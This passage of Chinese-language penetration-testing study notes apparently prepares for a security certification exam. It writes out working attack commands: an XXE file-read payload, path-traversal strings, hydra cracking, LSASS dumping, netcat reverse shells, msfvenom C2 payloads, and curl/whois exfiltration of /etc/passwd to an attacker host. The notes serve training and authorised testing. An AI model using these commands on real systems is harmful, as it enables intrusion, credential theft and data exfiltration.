FUNCTIONALITY](https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf) [iThome 鐵人賽文章](https://ithelp.ithome.com.tw/articles/10218939) ::: ![image](https://hackmd.io/_uploads/SJ9Q15zPT.png) ![image](https://hackmd.io/_uploads/HyhNJ9GwT.png) ```xml <?xml version="1.0"?> <!DOCTYPE svg[ <!ENTITY file SYSTEM "file:///root/proof.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="12cm" height="12cm"> <text x="20" y="350">&file;</text> </svg> ``` ### 伺服器端請求偽造 (Server-side Request Forgery, SSRF) * 誘導伺服器端的應用程式向攻擊者設定的位址發出HTTP Request (利用對外的伺服器去攻擊內網的其他伺服器) * 發起的Request是被信任的內部伺服器 * [OWASP TOP 2021:A10](https://owasp.org/Top10/zh-TW/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/) ### LFI/RFI > [資安這條路 06 - [Injection] Code injection - Local File Inclusion, Remote File Inclusion](https://ithelp.ithome.com.tw/articles/10241555) > [PHP Remote File Inclusion](https://www.puritys.me/docs-blog/article-181-PHP-Remote-File-Inclusion.html?source=post_page-----b4054760e1b9--------------------------------) > [目錄遍歷(Directory traversal)](https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7-path-traversal-%E6%94%BB%E6%93%8A%E6%89%8B%E6%B3%95-238218d5115d) * LFI也可能造成以下結果: * 機敏資料外洩 * 跨站腳本攻擊(Cross Site Script) * 遠端代碼執行(Remote Code Execution) * LFI漏洞樣態 * 發生在伺服器端的腳本程式中,允許將文件內容作為網站應用程式代碼的一部分。 * 在沒有適當的過濾與驗證下,可透過替換url參數達到讀取伺服器上的文件與機敏資料。 * LFI常見繞過方式 (資安職能考試複選題) > [File Upload General Methodology](https://book.hacktricks.wiki/en/pentesting-web/file-upload/index.html?highlight=file%20upload#file-upload-general-methodology) * 跳脫目錄: `../../etc/passwd`。 * ==Null Byte截斷==: `../../etc/passwd%00`,`%00`為null byte。 * ==編碼(URL Encode)==: `%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd`。 * 繞過filter: `....//....//etc/passwd`。 * RFI概念與LFI相同,只是被include的file來源變從外部引入。 * LFI/RFI特殊技巧(wrapper) * [`php://filter`](https://www.php.net/manual/en/wrappers.php.php) * [`zip://`](https://www.php.net/manual/en/wrappers.compression.php) * [`data://`](https://www.php.net/manual/en/wrappers.data.php) * [`expect://直接接執行指令`](https://www.php.net/manual/en/wrappers.expect.php) ### 暴力破解(Brute Force) * 不斷嘗試進行密碼驗證的過程,直到成功找出可正確授權的密碼 * 需要有字典檔 * Kali Linux內建 * `/usr/share/dirb/wordlists/common.txt` * `/usr/share/wordlists/*` ![image](https://hackmd.io/_uploads/HJGsr0bDp.png) * 網路上的資源 * [fuzzdb](https://github.com/fuzzdb-project/fuzzdb) * [seclist](https://github.com/danielmiessler/SecLists) * 安裝: `sudo apt-get install seclists` * 字典檔位置: `/usr/share/seclists` ![image](https://hackmd.io/_uploads/Hk_VL0Zvp.png) * [資安院攻防課程補充資料](https://hackmd.io/zmYMgovpQKCLV9cxpHZQLQ#seclists) * [Building Word-lists for Red Teamers](https://medium.com/owasp-chennai/building-word-lists-for-red-teamers-a8ba2d79ee3) * [CUPP - Common User Passwords Profiler](https://github.com/Mebus/cupp) * [keyboard walk wordlist](https://github.com/hashcat/kwprocessor) * (補充)[Assetnote Wordlists](https://wordlists.assetnote.io/) * 自製字典檔 (cewl指令工具、crunch指令工具) * cewl 指令 ```bash # 蒐集網站上的email cewl -e https://<domain_name> # 蒐集網站上特定字串 # --lowercase:將所蒐集到的字串轉成小寫 # -m:英文字串的字數,預設為3 # -w:輸出檔案 cewl https://<domain_name> -m 5 --lowercase -w user.txt ``` * crunch 指令 > [Building Unique Wordlists with Crunch](https://medium.com/@cuncis/building-unique-wordlists-with-crunch-1ca49f1f188b) ```bash # %: 代表數字 # ^: 代表符號 # @: 代表小寫英文 # ,: 代表大寫英文 crunch <min_length> <max_length> [options] crunch 4 4 -t %%%% -o output1.txt crunch 4 4 1234 -t @@@@ -o output2.txt # 案例:abc45數字1碼 crunch 6 6 -t abc45% -o pass1.txt # 案例:abc數字3碼 crunch 6 6 -t abc%%% -o pass11.txt # 案例:P@ssw數字1碼rd crunch 8 8 -t P^ssw%rd -o pass22.txt # 案例:taccst英文小寫1碼+數字1碼 crunch 8 8 -t taccst@% -o pass33.txt ``` ![image](https://hackmd.io/_uploads/rysc29OzR.png) ![image](https://hackmd.io/_uploads/SkECncuf0.png) * 暴力破解工具 * Burpsuite 的 Intruder:如使用免費版本,破解的執行緒會受到限制,會很慢,付費版本則不受限制。 * OWASP ZAP * 免費 * Proxy工具,==可用來分析 HTTP Request 內容== (資安職能考題)。 * 搭配 Fuzzer 工具可進行暴力破解。 * [hydra](https://www.kali.org/tools/hydra/) (九頭蛇/九頭龍) 指令工具 > [Cheatsheet](https://github.com/frizb/Hydra-Cheatsheet) ```bash # 帳號和密碼都用字典檔去try hydra -L user.txt -P dictionary.txt ssh://<IP位址>:22 -V -f # 帳號固定,只有密碼用字典檔去try hydra -l <帳號> -P dictionary.txt ssh://<IP位址>:22 -V -f # 密碼固定,只有帳號用字典檔去try hydra -L user.txt -p <密碼> ssh://<IP位址>:22 -V -f # 網頁登入表單破解帳號密碼 - 使用到http-post-form這個模組 hydra -U http-post-form # 先找form > 帳號欄位為uid > 密碼欄位為passw > 使用post傳給doLogin hydra -L user.lst -P password.lst demo.testfire.net http-post-form "/doLogin:uid=^USER^&passw=^PASS^&btnSubmit=Login:Login Failed:C=/login.jsp" ``` * [Ncrack](https://nmap.org/ncrack/):類似 Hydra * [Medusa](https://rootissh.in/medusa-a-bruteforcing-tool-fdbf3ec1faad):類似Hydra,KaliLinux內建指令工具之一。 * [Brutespray](https://github.com/x90skysn3k/brutespray):可以使用nmap產出的掃描結果,對有被掃描到的服務進行暴力破解。 * [NSE Module](https://nmap.org/nsedoc/categories/brute.html):為nmap的script module,也可用來嘗試如MSSQL資料庫的暴力破解嘗試。 ### XSS ![image](https://hackmd.io/_uploads/rJF-YdCCR.png) * 危害因子:除了可偷取Cookie外,也可利用keylogger偷取使用者輸入的資訊。 * [10 Practical scenarios for XSS attacks](https://pentest-tools.com/blog/xss-attacks-practical-scenarios) * [(補充) hadynz/xss-keylogger](https://github.com/hadynz/xss-keylogger) * 檢測方式: * 一般來說,會使用`alert()`或`prompt()`來測試,若瀏覽器不支援改用`print()`做測試。 * 若有基本的過濾防護,需要透過javascript偽協議來做進一步測試。 * 攻擊類型 * **反射型XSS**:惡意腳本來自當前HTTP Request (一次性,當下Request有效,需要達成的條件需更多)。 * **儲存型XSS**:惡意腳本儲存於資料庫,使用者瀏覽時觸發惡意腳本 (可觸發多次,==威脅程度最大==)。 * **DOM-Based XSS**:惡意腳本存於Client端。 * 案例(補充): * [TinyMCE HTML Editor - CVE-2024-29881](https://zeroday.hitcon.org/vulnerability/ZD-2025-00568) * [GlobalProtect VPN Portal 反射型 XSS - CVE-2025-0133](https://zeroday.hitcon.org/vulnerability/ZD-2025-00682) * 相關資訊 * [Cross Site Scripting (XSS) Attack Tutorial With Examples, Types & Prevention](https://www.softwaretestinghelp.com/cross-site-scripting-xss-attack-test/) * [Cross-site scripting (XSS) cheat sheet | Web Security Academy](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) * [Cross-Site Scripting (XSS) Attack Guide | Hackviser](https://hackviser.com/tactics/pentesting/web/xss) * [Acunetix - Cross-site Scripting (XSS)](https://www.acunetix.com/websitesecurity/cross-site-scripting/) * [危險的 javascript: 偽協議](https://aszx87410.github.io/beyond-xss/ch1/javascript-protocol/) ### 權限控制失效(Broken Access Control) * [OWASP TOP 10:2021 - A01 – 權限控制失效](https://owasp.org/Top10/zh-TW/A01_2021-Broken_Access_Control/) > 由 2013 年的兩項指標所合併的。 > 「不安全的物件參考(Insecure Direct Object References, IDOR)」 > 「不安全的功能控管(Missing Function Level Access Control)」 * [Web 資安漏洞大可不必 - Broken Access Control 攻防之道](https://sdwh.dev/posts/2022/11/Cybersecurity-Web-Vulnerability-Broken-Access-Control/) ### 任意檔案上傳(File Upload Vulnerabilities): * 只擋前端,未在後端伺服器做檔案檢核可透過BurpSuite攔截並繞過。 ![image](https://hackmd.io/_uploads/BJyDy5MvT.png) * 一句話木馬 ### 危險或過舊的元件 * [OWASP TOP 10:2021 - A06 – 權限控制失效](https://owasp.org/Top10/zh-TW/A06_2021-Vulnerable_and_Outdated_Components/) * [Apache Log4j](https://www.nics.nat.gov.tw/core_business/information_security_information_sharing/Critical_Vulnerability_Information/Log4shell/) * [Apache Log4j日誌框架系統重大漏洞(CVE-2021-44228),已出現攻擊行動,需儘速採取緩解措施](https://www.ithome.com.tw/news/148337) * [可俘虜數十億臺系統與設備!超級資安漏洞風暴正在席捲全球](https://www.ithome.com.tw/news/148753) * [從監視攝影機理解 Log4j 跟 Log4Shell 漏洞](https://blog.huli.tw/2021/12/18/what-is-log4j-and-log4shell/) * [Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)](https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2021-44228) * [roxas-tan/CVE-2021-44228](https://github.com/roxas-tan/CVE-2021-44228) * [marcourbano/CVE-2021-44228](https://github.com/marcourbano/CVE-2021-44228) * 搜尋已知弱點的方式 * 透過適當的關鍵字進行 Google 搜尋 * [Exploit DB](https://www.exploit-db.com/) * [CVE](https://cve.mitre.org/) * Common Vulnerabilities and Exposures 通用弱點揭露 * 鑑別、定義、分類並公告與揭露網路資訊安全弱點的計畫。 * CVSS (Common Vulnerability Scoring System):漏洞風險評估分數。 * [時隔八年!漏洞嚴重等級評分標準 CVSS 4.0版本正式發佈](https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=10782) * [CVSS 4.0 Calculator](https://www.first.org/cvss/calculator/4.0) * [CVSS 3.1 Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator) * [CVSS Calculator](https://chandanbn.github.io/cvss/) * [National Vulnerability Database(NVD)](https://nvd.nist.gov/vuln/search) * NVD 是隸屬於 NIST 旗下 ITL (Information Technology Laboratory) 所收集的資訊弱點資料庫。 * 當 NVD 根據 CVE 被發佈後計算出對應的 CVSS 進行公告。 * CWE * Common Weakness Enumeration 通用弱點列舉 * CWE 會透過 NVD Count、Avg CVSS 經過計算得到 Overall Score,再透過這份 Overall Score 的分數進行排序,最後得到 "[The CWE Top 25](https://cwe.mitre.org/top25/)"。 :::info ![image](https://hackmd.io/_uploads/rJSzNB-Ua.png) * 攻擊手法揭露 [CAPCE™ (Common Attack Pattern Enumerations and Classifications)](https://capec.mitre.org/) * CWE™ (Common Weakness Enumeration) ::: ## 提權 :::success ![image](https://hackmd.io/_uploads/HyLfiPV_gl.png) * 透過利用弱點的方式,取得作業系統的存取權後,即可進行評估如何提權。 * 水平提權 * 垂直提權 * 提權的最終目的: * 取得最高權限的控制權 * 後滲透(Post-Exploitation) * 橫向移動(Lateral Movement) ::: ### Linux系統提權 * 提權的切入點 * 不安全的組態設定 * 高權限的明文密碼存放於機器中 * 存取權限錯誤 * 系統存在未修補的kernel提權弱點 * Credentials dumping * 確認權限狀態 * `ls -alh`:顯示所在資料夾下完整的檔案及目錄清單(含隱藏檔案) * `id`:查目前的帳號的uid、gid、groups等 * `whoami`:查目前帳號名稱 * 透過不安全的系統檔案權限設定,進行提權 * `/etc/passwd` * 修改某個user帳號的uid為0後,再切換至該user即可提升為root權限 * `/etc/shadow` * 要搭配破密工具 hashcat、John The Ripper * [Understanding the /etc/shadow File](https://linuxize.com/post/etc-shadow-file/) * `/etc/group` * 將一般使用者帳號加入至root群組,一般使用者也可以使用root權限 * `/etc/sudoers` * 透過sudo指令且不需要密碼即可執行root權限 * `/etc/motd` * MOTD (Message Of The Day) * Linux 系統中常見登入成功後的訊息顯示服務,只要提權的弱點存在,就可以利用此才服務當作一種提權的後門 * Binary path poisoning:汙染PATH變數 * crontab ```bash # 檢查crontab crontab -l # 修改新增crontab crontab -e ``` * sudo ```bash sudo -l sudo awk 'BEGIN {system("/bin/sh")}' ``` * [Linux for Pentester: Find Privilege Escalation](https://www.hackingarticles.in/linux-for-pentester-find-privilege-escalation/) * `find . -type f -perm 0777 -print` * Credentials dumping * Linux取得明文密碼工具 - [Mimipenguin](https://github.com/huntergregal/mimipenguin) * 使用時機:==Linux系統==、==有root權限==、==進行橫向移動時==。 * Credentials harvesting * `~/.ssh/` * Laravel專案:`.env` * `printenv` * `~/.bash_history`、 ![image](https://hackmd.io/_uploads/rkS9k9zD6.png) * log檔和設定檔:`/etc/profile` * hardcode:利用grep指令查找 ```bash grep -i user [filename] grep -i pass [filename] grep -C 5 "password" [filename] find . -name "*.php" -print0 | xrags -0 grep -i -n "$password" ``` * 密碼hash值破解 * (補充)[hashcat](https://hashcat.net/hashcat/) * [深入 hashcat 系列](https://hack543.com/category/%e5%b7%a5%e5%85%b7%e8%bb%9f%e9%ab%94/hashcat/) * [hashcat 密碼雜湊快速破解工具使用教學與範例](https://officeguide.cc/hashcat-fast-password-recovery-utility-tutorial-examples/) * [Johny the ripper](https://github.com/openwall/john) * [駭客貓咪 - John the Ripper (JTR) 密碼暴力破解工具](https://hackercat.org/hacker-tools/john-the-ripper) * [Exploit Notes - John the Ripper](https://exploit-notes.hdks.org/exploit/cryptography/tool/john-the-ripper/) * [How to Crack Passwords using John The Ripper – Pentesting Tutorial](https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/) ``` echo "root:$6$znYGr.f4IXYitFOE$qImkWPAh9ms1DvBX2xEKoakBDtp/.Hz3LkZjRlF0tVBLz6yFxLvONk.GqL1NXz8sxuKYLxGTQLAkLNGZx9fBj1:18995:0:99999:7:::" > testfile john --wordlist=/usr/share/wordlists/wfuzz/others/common_pass.txt testfile ``` ![image](https://hackmd.io/_uploads/H123y5Gv6.png) * [GTFOBins](https://gtfobins.github.io/) > GTFOBins is a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. > Linux binary 功能與特性查詢 * [講義上補充參考連結資料] 其他提權工具參考 * [Linux elevation of privileges ToC](https://guif.re/linuxeop) * [LinEnum](https://github.com/rebootuser/LinEnum) * [PEASS-ng](https://github.com/carlospolop/PEASS-ng) * [Linux_Exploit_Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester) * [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) * [GodPotato](https://github.com/BeichenDream/GodPotato) ### Windows 提權 * 重要概念 * system 是 Windows 的最高權限。 * 即使有了 Administrator 權限,也無法直接進行 credentials dumping 等動作。 * 提權的切入點 * 不安全的服務 * 高權限的明文密碼存放於機器中 * 系統存在未修補的kernel提權弱點 * LSASS與註冊機碼匯出密碼 * 工具 * [利用PsExec提權為system管理員教學](https://hackercat.org/windows/psexec-local-privilege-escalation) * 使用 Sysinternals 的 [PsExec 工具](https://learn.microsoft.com/zh-tw/sysinternals/downloads/psexec) * 指令:`PsExec.exe -s -i cmd.exe` * 需要以系統管理員模式執行 ![image](https://hackmd.io/_uploads/S1Lopx6wA.png) * 執行截圖如下 ![image](https://hackmd.io/_uploads/r1XL0x6PR.png) * [Windows PrivEsc: Weak Service Permission (針對脆弱的服務)](https://asfiyashaikh.medium.com/windows-privesc-weak-service-permission-b90f3bf4d44f) * 使用 Sysinternals 的 [AccessChk 工具](https://learn.microsoft.com/zh-tw/sysinternals/downloads/accesschk) * [Windows Kernel Exploits (已編譯好的執行檔可供提權測試)](https://github.com/SecWiki/windows-kernel-exploits) * [BloodHound](https://bloodhound.readthedocs.io/en/latest/) * [Mimikatz](https://github.com/ParrotSec/mimikatz) * [Dumping Hashes from SAM via Registry](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry) > [AD Note - Lab(Brute Force SAM)](https://hackmd.io/@SBK6401/S1KgaEz0h) * Win10 v1607之前的解法:samdump2 * Win10 v1607之後的解法:Creddump7或impacket-secretsdump * LSASS memory dumping > [Dumping Credentials from Lsass Process Memory with Mimikatz](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-credentials-from-lsass.exe-process-memory) > [Dumping Lsass Without Mimikatz](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-process-without-mimikatz) * Mimikatz 會被防毒軟體查殺。 * Sysinternals 的 [ProcDump 工具](https://learn.microsoft.com/zh-tw/sysinternals/downloads/procdump) * Rundll32 + comsvcs.dll ```bat .\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass_pid> C:\temp\lsass.dmp full ``` * GUI Task Manager匯出取得 > 工作管理員 > 找lsass.exe > 右鍵 > 建立傾印檔案 * [Impacket](https://github.com/fortra/impacket):集合了許多處理網路協定的實現工具 (資安職能考試有考到) * [講義上補充參考連結資料] 其他提權工具參考 * [Windows elevation of privileges ToC](https://guif.re/windowseop) * [BeRoot Project](https://github.com/AlessandroZ/BeRoot) * [PatchChecker](https://github.com/deadjakk/patch-checker) (資安職能考試有考到PatchChecker的用途) * 基於Web的Windows漏洞檢測工具 * [Windows Privilege Escalation Awesome Scripts](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) * [PayloadsAllTheThins - Windows Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) ## 維持存取權限 ### Reverse Shell > 取得Shell是很重要的技能與基本功 > [(課本)pentestmonkey - Reverse Shell Cheat Sheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) > [(課本)Internal All The Things - Reverse Shell Cheat Sheet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/) > [(課本)Reverse Shell Generator](https://www.revshells.com/) ==會被防毒軟體擋掉== > [Reverse Shell Cheat Sheet 2025: A Hacking Guide](https://www.stationx.net/reverse-shell-cheat-sheet/) * 分類 * 可互動式 (Interactive shell):reverse shell、spawning tty shell * 不可互動式 (Non-interactive shell):webshell、blind類型的RCE等 (資安職能考題-複選) * 連線至遠端電腦建立反向連結,在遠端電腦操作命令。 ![unnamed](https://hackmd.io/_uploads/Sk50PdNOgx.png) * 參考方式一 * [Linunx 指令 nc 用法](https://myapollo.com.tw/blog/linux-command-nc/) * 受害方 ```bash nc [攻擊端IP位址] [PORT] -e /bin/bash ``` * 攻擊方 ```bash nc -lvnp [PORT] ``` * 參考方式二 * 受害方 ```bash #!/bin/sh uname -snrvm rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [攻擊端IP位址] [PORT] >/tmp/f ``` * 攻擊方 ```bash nc -lvnp [PORT] ``` * 取得TTY Shell * 當 reverse shell 建立連線後,卻發現shell的使用受到限制。 * 可利用[spawing tty shell](https://github.com/ahmetgurel/Pentest-Hints/blob/master/Spawning%20a%20TTY%20Shell.md)來取得更完整的shell。 * (補充)[Simple PHP Reverse shell](https://medium.com/@tareshsharma17/simple-php-reverse-shell-061d4a6bd18d) * [Reverse Shell WordPress Plugin](https://github.com/4m3rr0r/Reverse-Shell-WordPress-Plugin) * (補充)Reverse Shell vs. Bind Shell ![1695655914673](https://hackmd.io/_uploads/B1VhFON_ex.gif) ### C2 Server建置 * 在維持存取權限的階段,攻擊者會嘗試鞏固將已取得控制權的機器連回自己的C2 Server來保持自己對這台機器的連線控制權(Persistence) * C2 Framework * cobalt strike (商業版):beacon與規避防毒機制很完善。 * Metasploit * Metasploit 的 C2 架構由兩個關鍵部分組成: * Meterpreter: 這是植入到受害者主機上的「代理程式」或「植入物 (Implant)」。 * `exploit/multi/handler`: 這是運行在攻擊者主機上的「C2 伺服器」,負責處理接收Client端(受害者主機)payload回傳連線的模組。 * 產生惡意 Payload 的方式 * [msfvenom](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html):專門產生metasploit payload的工具 ```bash # 在終端機中執行 msfvenom # -p 指定 payload 類型(與監聽器一致) # LHOST 和 LPORT 指向監聽器位址 # -f 指定輸出格式(如 exe) # -o 指定輸出檔名 # 語法 msfvenom -p <payload_type> LHOST=<listen_ip> LPORT=<listen_port> -f <file_type> > <output_filename> # Windows payload msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 -f exe > shell.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 -f exe > reverse.exe msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.3 LPORT=443 -f exe > bind.exe # Linux payload msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 -f elf > reverse.elf msfvenom -p linux/x86/meterpreter/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 -f elf > shell.elf # PHP msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 -f raw > shell.php # ASP/ASPX msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 -f asp > shell.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443 -f aspx > shell.aspx # JSP msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.3 LPORT=443 -f raw > shell.jsp ``` > Metasploit 提供了多種通訊協定來建立 C2 連線,以應對不同的網路環境: > * Reverse TCP (reverse_tcp): 最常用。由受害者主動連線回攻擊者,能有效繞過防火牆對外部連入的封鎖。 > * Bind TCP (bind_tcp): 由攻擊者主動連線到受害者。在目標主機沒有防火牆或位於內部網路時較為適用。 > * Reverse HTTPS (reverse_https): 將 TCP 通訊封裝在合法的 TLS/SSL 加密流量中,看起來就像正常的 HTTPS 網頁瀏覽,能更好地規避網路流量檢測。 * 在攻擊者主機上設定 C2 監聽器 ```bash # 啟動 Metasploit 控制台 msfconsole # 使用通用監聽器模組 msf6 > use exploit/multi/handler # 設定要接收的 Payload 類型(必須與後面產生的 Payload 一致) msf6 > set payload windows/x64/meterpreter/reverse_tcp # 設定監聽的 IP 位址(LHOST,即攻擊者的 IP) msf6 > set LHOST 192.168.1.100 # 設定監聽的連接埠(LPORT) msf6 > set LPORT 4444 # 以背景任務方式執行監聽器 msf6 > run -j [*] Exploit running as background job 0. [*] Started reverse TCP handler on 192.168.1.100:4444 ``` * (補充)實作 C2 的完整工作流程 * 步驟1:在攻擊者主機上設定 C2 監聽器,並產生惡意Payload (詳如上述兩點) * 步驟2:傳遞並執行 Payload * C2建立過程中最關鍵的一個步驟,攻擊者需要透過某種方式(如:社交工程、漏洞利用等)讓受害者執行惡意payload。 * 步驟3:建立C2對話(Session) * 一旦受害者執行了惡意的payload,就會對攻擊端主機建立一個可以溝通的對話(Session) * 步驟4:進行命令與控制 * 建立了對話後,攻擊者可以在這個對話的介面進行互動,完全控制受害者主機(Client) ```bash # 查看當前所有會話 msf6 > sessions # 進入指定的會話(例如 ID 為 1 的會話) msf6 > sessions -i 1 # 進入 Meterpreter 的命令環境 meterpreter > sysinfo # 獲取系統資訊 meterpreter > ps # 列出所有進程 meterpreter > screenshot # 擷取螢幕畫面 meterpreter > upload file.txt C:\\Users\\victim\\ # 上傳檔案 meterpreter > download C:\\secret.docx . # 下載檔案 meterpreter > execute -f cmd.exe -i # 開啟一個互動式命令提示字元 ``` ### Port Forwarding > [圖文並茂的 ssh tunnel 使用教學](https://softnshare.com/article-sshtunnel/) > [SSH Tunneling (Port Forwarding) 詳解](https://johnliu55.tw/ssh-tunnel.html) > [SSH Tunneling 教學 - Local Port Forwarding, Remote Port Forwarding](https://youtu.be/9bsvYo1a-mk?si=tOSdQ7elUOqeNiPn) * 不管是inbound或outbound的防火牆政策,只要有開一個可以用的埠(Port),運用Port forwarding就等於全通。 * 類型 * Local port forwarding:連到位在防火牆後的服務。 `ssh -L 9090:localhost:8080 <account>@<target_server>` ![image](https://hackmd.io/_uploads/HJehAkAPC.png) `ssh -L 9090:<target_server>:8080 <account>@<jump_server>` ![image](https://hackmd.io/_uploads/HkmHyeRD0.png) * Remote port forwarding:透過對外機器,讓其他人能夠連到限縮在內網的服務 `ssh -R 0.0.0.0:9090:localhost:8080 <account>@<external_server>` ![image](https://hackmd.io/_uploads/HyDleg0wC.png) `ssh -R 0.0.0.0:9090:<target_server>:8080 <account>@<external_server>` ![image](https://hackmd.io/_uploads/ryAvxe0w0.png) * Dynamic port forwarding:建立一個代理伺服器連到內網的所有服務 `ssh -D 9090 <account>@<internal-machine>` ![image](https://hackmd.io/_uploads/Bk64WlCw0.png) ### proxychains工具 * 在==橫向移動==與==內網滲透==中常使用的proxy工具,於Linux命令列中執行操作,可搭配dynamic port forwarding * 預設路徑: `/etc/proxychains.conf` * 使用方式: `proxychains <TCP類型的網路指令>` > proxychains nmap <IP位址> * [proxychains4](https://feifei.tw/proxychains4/) * [如何在網路上不留痕跡- proxychains](https://steemit.com/cn/@antonsteemit/proxychains) * [CentOS 7 安裝 proxychains](https://carlislebear.blogspot.com/2016/05/centos-7-install-proxychains.html) * (補充)[Chisel](https://github.com/jpillora/chisel):用於建立反向 TCP 隧道的工具 * [Chisel 建立反向 TCP 隧道](https://ithelp.ithome.com.tw/articles/10335772) ### 隱密的傳送資料 * 在組織內網中已取得了一些機敏資料後,可透過一些容易穿透防護設備的方式將資料傳送出去 ```bash # Attacker server nc -l -v -p 53 | sed "s/ //g" | base64 -d # Victim client whois -h $attackerIP -p 53 `cat /etc/passwd` | base64 # Attacker server ncat --ssl -vlp 53 # Victim client curl https://attackerIP:53/ -F 'a=@/etc/passwd' -k ``` * 透過dns傳送資料參考工具 > (補充) [DNS Tunneling](https://jieliau.medium.com/dns-tunneling-4f98eff779bf) * [dnscat2](https://github.com/iagox86/dnscat2) * [lodine](https://github.com/yarrick/iodine) * [dns2tcp](https://github.com/alex-sector/dns2tcp) * 存放後門webshell ### C#編譯器 > [CSHARP REVERSE SHELL](https://www.sevenlayers.com/index.php/blog/298-csharp-reverse-shell) > [Reverse-Shell-CSharp](https://github.com/SkallZou/Reverse-Shell-CSharp) > [Simple_Rev_Shell.cs](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) * 有安裝NET Framework的電腦都有csc.exe ![image](https://hackmd.io/_uploads/r1zi5yRPA.png) * 利用csc.exe將C#的程式碼編譯成需要的reverse shell或惡意工具來繞過防毒軟體。 ``` <path>\csc.exe -out output.exe code.cs ``` ## 整理漏洞與撰寫報告 * 記錄執行測試的過程 > 目的:未來可供稽核驗證、保護測試人員、供後續報告撰寫使用。 (資安職能考題-複選) * 全程桌面錄影 * 紀錄所操作的每一行指令 > [Tmux Logging](https://github.com/tmux-plugins/tmux-logging):進行指令log保存的套件工具 (資安職能考題) * 文件撰寫重點 * 依據報告內容,==非技術人員及相關工作人員也能復現漏洞== * 使用的exploit的出處與連結 * 註明修改了exploit的哪個地方,並用顯眼的註記方式強調 * 執行的指令步驟及圖片,並解釋其目的與原因 * [OSCP pentest report sample](https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide) * (補充)報告參考樣本 * [HackTheBox - PT Report Sample](https://labs.hackthebox.com/storage/press/samplereport/sample-penetration-testing-report-template.pdf) * [PurpleSec - PT Report Sample](https://purplesec.us/wp-content/uploads/2019/12/Sample-Penetration-Test-Report-PurpleSec.pdf) * [Astra - PT Report Sample](https://www.getastra.com/blog/security-audit/penetration-testing-report/) * [juliocesarfort/public-pentesting-reports](https://github.com/juliocesarfort/public-pentesting-reports) ## (補充)資料庫列舉 > [官方文件參照](https://dev.mysql.com/doc/refman/8.3/en/information-schema-table-reference.html) > 可能搭配union語法使用,將資料渲染到頁面上。 SQL語法與SQLMAP工具對照表 | | SQL語法 | SQLMAP指令工具 | | ---------- | -------------------------------------------------------- | -------------------------------------- | | 列舉資料庫 | select schema_name <br>from information_schema.schemata;<br><br>SELECT DISTINCT owner <br>FROM all_tables; | `sqlmap -u "攻擊目標網址" --batch dbs` | | 列出個別資料庫裡的資料表 | select table_name<br>from information_schema.tables<br>where table_schema='資料庫名稱'; <br><br>SELECT TABLE_NAME<br>FROM ALL_TABLES<br>WHERE OWNER='資料庫名稱';|`sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 --tables`| | 列出資料表裡的欄位名稱 | select column_name <br>from information_schema.columns <br>where table_schema='資料庫名稱' and table_name='資料表名稱';<br><br>SELECT COLUMN_NAME <br>FROM ALL_TAB_COLUMNS <br>WHERE OWNER='資料庫名稱' AND TABLE_NAME='資料表名稱';|`sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --columns`| | 取得資料表內容 | select * <br>from 資料庫名稱.資料表名稱;|`sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --dump`| ![image](https://hackmd.io/_uploads/ByoZChJSJe.png) ## 相關工具 * [CyberChef](https://gchq.github.io/CyberChef/) > [淺談CyberChef 多功能分析工具](https://blog.neithnet.com/?p=2066) * [Online Tools](https://emn178.github.io/online-tools/) * [CrackStation](https://crackstation.net/) * [cmd5](https://www.cmd5.com/) * [oswe-tools](https://github.com/tree-chtsec/oswe-tools) ## 練習靶機 * 線上靶場 * [HCLSoftware Appscan](https://www.hcl-software.com/appscan/)提供 * https://demo.testfire.net/ * http://testfire.net/ * Acunetix提供 * http://www.vulnweb.com/ * Micro Focus提供 * http://zero.webappsecurity.com/ * Google提供 * http://google-gruyere.appspot.com/ * [OverTheWire](https://overthewire.org/wargames/) * [TryHackMe](https://tryhackme.com/) * [HackTheBox](https://www.hackthebox.com/) * [PortSwigger WebSecurity Academy](https://portswigger.net/web-security) * 